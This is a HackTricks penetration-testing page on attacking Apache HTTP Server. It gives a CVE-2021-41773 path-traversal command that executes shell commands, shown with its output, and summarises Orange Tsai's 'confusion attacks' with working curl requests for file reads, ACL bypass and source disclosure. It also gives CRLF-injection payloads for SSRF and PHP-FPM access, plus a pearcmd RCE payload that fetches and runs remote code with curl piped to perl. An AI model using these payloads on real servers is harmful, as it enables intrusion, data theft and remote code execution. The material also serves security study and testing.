Apache - HackTricks

# Apache

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Executable PHP extensions

Check which extensions is executing the Apache server. To search them you can execute:

     grep -R -B1 "httpd-php" /etc/apache2

Also, some places where you can find this configuration is:

    /etc/apache2/mods-available/php5.conf
    /etc/apache2/mods-enabled/php5.conf
    /etc/apache2/mods-available/php7.3.conf
    /etc/apache2/mods-enabled/php7.3.conf

## CVE-2021-41773

    curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    Linux

## Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

### Filename Confusion

#### Truncation

The `mod_rewrite` will trim the content of `r->filename` after the character `?` (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

- Path Truncation

It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:

    RewriteEngine On
    RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

    # Expected
    curl http://server/user/orange
    # the output of file `/var/user/orange/profile.yml`

    # Attack
    curl http://server/user/orange%2Fsecret.yml%3F
    # the output of file `/var/user/orange/secret.yml`

- Mislead RewriteFlag Assignment

In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the `?` char while loading in the path a different type of file (like an image) with malicious php code inside of it:

    RewriteEngine On
    RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

    # Attacker uploads a gif file with some php code
    curl http://server/upload/1.gif
    # GIF89a <?=`id`;>

    # Make the server execute the php code
    curl http://server/upload/1.gif%3fooo.php
    # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

#### ACL Bypass

It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like:

    <Files "admin.php">
        AuthType Basic
        AuthName "Admin Panel"
        AuthUserFile "/etc/apache2/.htpasswd"
        Require valid-user
    </Files>

This is because by default PHP-FPM will receive URLs ending in `.php`, like `http://server/admin.php%3Fooo.php` and because PHP-FPM will remove anything after the character `?`, the previous URL will allow to load `/admin.php` even if the previous rule prohibited it.

### DocumentRoot Confusion

    DocumentRoot /var/www/html
    RewriteRule  ^/html/(.*)$   /$1.html

A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.

#### Server-Side Source Code Disclosure

- Disclose CGI Source Code

Just adding a %3F at the end is enough to leak the source code of a cgi module:

    curl http://server/cgi-bin/download.cgi
     # the processed result from download.cgi
    curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
     # #!/usr/bin/perl
     # use CGI;
     # ...
     # # the source code of download.cgi

- Disclose PHP Source Code

If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code:

    # Leak the config.php file of the www.local domain from the static.local domain
    curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
     # the source code of config.php

#### Local Gadgets Manipulation

The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s configuration template:

    <Directory />
        AllowOverride None
        Require all denied
    </Directory>

However, Debian/Ubuntu operating systems by default allow `/usr/share`:

    <Directory /usr/share>
        AllowOverride None
        Require all granted
    </Directory>

Therefore, it would be possible to abuse files located inside `/usr/share` in these distributions.

Local Gadget to Information Disclosure

- Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
- Servers with Nginx or Jetty might expose sensitive web application information (e.g., web.xml) through their default web roots placed under /usr/share:
  - /usr/share/nginx/html/
  - /usr/share/jetty9/etc/
  - /usr/share/jetty9/webapps/

Local Gadget to XSS

- On Ubuntu Desktop with LibreOffice installed, exploiting the help files' language switch feature can lead to Cross-Site Scripting (XSS). Manipulating the URL at /usr/share/libreoffice/help/help.html can redirect to malicious pages or older versions through unsafe RewriteRule.

Local Gadget to LFI

- If PHP or certain front-end packages like JpGraph or jQuery-jFeed are installed, their files can be exploited to read sensitive files like /etc/passwd:
  - /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  - /usr/share/javascript/jquery-jfeed/proxy.php
  - /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

- Utilizing MagpieRSS's magpie_debug.php at /usr/share/php/magpierss/scripts/magpie_debug.php, an SSRF vulnerability can be easily created, providing a gateway to further exploits.

Local Gadget to RCE

- Opportunities for Remote Code Execution (RCE) are vast, with vulnerable installations like an outdated PHPUnit or phpLiteAdmin. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.

#### Jailbreak from Local Gadgets

It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:

- Cacti Log: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- Solr Data: `/usr/share/solr/data/` -> `/var/lib/solr/data`
- Solr Config: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- MediaWiki Config: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- SimpleSAMLphp Config: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`

Moreover, abusing symlinks it was possible to obtain RCE in Redmine.

### Handler Confusion

This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.

Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server uses `r->content_type` as the handler, effectively making `AddType` and `AddHandler` identical in effect.

#### Overwrite Handler to Disclose PHP Source Code

In this talk, was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly return the PHP source code. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.

#### Overwrite Handler to XXXX

TODO: Orange hasn't disclose this vulnerability yet

### Invoke Arbitrary Handlers

If an attacker is able to control the `Content-Type` header in a server response he is going to be able to invoke arbitrary module handlers. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to restart the request process abusing the `Location` header because if the returned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed

According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:

> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Therefore, to perform this attack is needed one of the following vulns:

- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers

#### Arbitrary Handler to Information Disclosure

For example `/server-status` should only be accessible locally:

    <Location /server-status>
        SetHandler server-status
        Require local
    </Location>

It's possible to access it setting the `Content-Type` to `server-status` and the Location header starting with `/`

    http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
    Location:/ooo %0d%0a
    Content-Type:server-status %0d%0a
    %0d%0a

#### Arbitrary Handler to Full SSRF

Redirecting to `mod_proxy` to access any protocol on any URL:

    http://server/cgi-bin/redir.cgi?r=http://%0d%0a
    Location:/ooo %0d%0a
    Content-Type:proxy:
    http://example.com/%3F
     %0d%0a
    %0d%0a

However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints.

#### Arbitrary Handler to Access Local Unix Domain Socket

Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in `/tmp/`:

    http://server/cgi-bin/redir.cgi?r=http://%0d%0a
    Location:/ooo %0d%0a
    Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
    %0d%0a

#### Arbitrary Handler to RCE

The official PHP Docker image includes PEAR (`Pearcmd.php`), a command-line PHP package management tool, which can be abused to obtain RCE:

    http://server/cgi-bin/redir.cgi?r=http://%0d%0a
    Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
    orange.tw/x|perl
    ) %2b alltests.php %0d%0a
    Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
    %0d%0a

Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.

## References

- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.